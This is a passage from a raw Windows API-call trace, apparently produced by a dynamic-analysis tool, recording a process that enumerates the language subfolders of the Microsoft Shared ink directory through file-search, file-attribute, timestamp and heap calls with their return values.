ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.001] GetLastError () returned 0x12 [0235.001] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.001] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0235.001] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0235.001] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.001] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0235.001] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.001] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0235.002] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0235.002] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906be0 [0235.002] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906be0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906be0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0235.002] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906be0) returned 1 [0235.002] NtClose (Handle=0x1b0) returned 0x0 [0235.002] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.002] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.002] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.002] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.002] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0235.002] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.002] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.002] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.003] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.003] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.003] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.003] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.003] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.003] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.003] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904798 [0235.003] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x905018 [0235.003] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.003] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.003] GetLastError () returned 0x12 [0235.003] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0235.003] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0235.003] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.003] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.003] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.003] GetLastError () returned 0x12 [0235.003] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.003] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.003] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0235.003] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.004] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0235.004] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.004] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0235.089] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0235.089] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906be0 [0235.089] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906be0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906be0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0235.089] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906be0) returned 1 [0235.089] NtClose (Handle=0x1bc) returned 0x0 [0235.090] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.090] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.090] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.090] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.090] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0235.090] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.090] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.090] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.090] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.090] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.090] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.090] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.090] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.090] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.090] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9047b8 [0235.090] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x905120 [0235.090] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.090] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.090] GetLastError () returned 0x12 [0235.090] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0235.090] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.091] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.091] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.091] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.091] GetLastError () returned 0x12 [0235.091] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.091] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0235.091] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0235.091] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.091] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0235.091] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.091] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0235.092] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0235.092] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906be0 [0235.092] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906be0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906be0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0235.092] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906be0) returned 1 [0235.092] NtClose (Handle=0x1b0) returned 0x0 [0235.092] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.092] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.092] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.092] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.092] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0235.092] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.092] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.092] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.092] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.092] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.092] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.092] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.092] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.092] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.092] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9047d8 [0235.092] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x905228 [0235.092] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.093] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.093] GetLastError () returned 0x12 [0235.093] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0235.093] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0235.093] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.093] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.093] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.093] GetLastError () returned 0x12 [0235.093] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.093] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.093] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0235.093] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.093] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0235.093] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.093] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 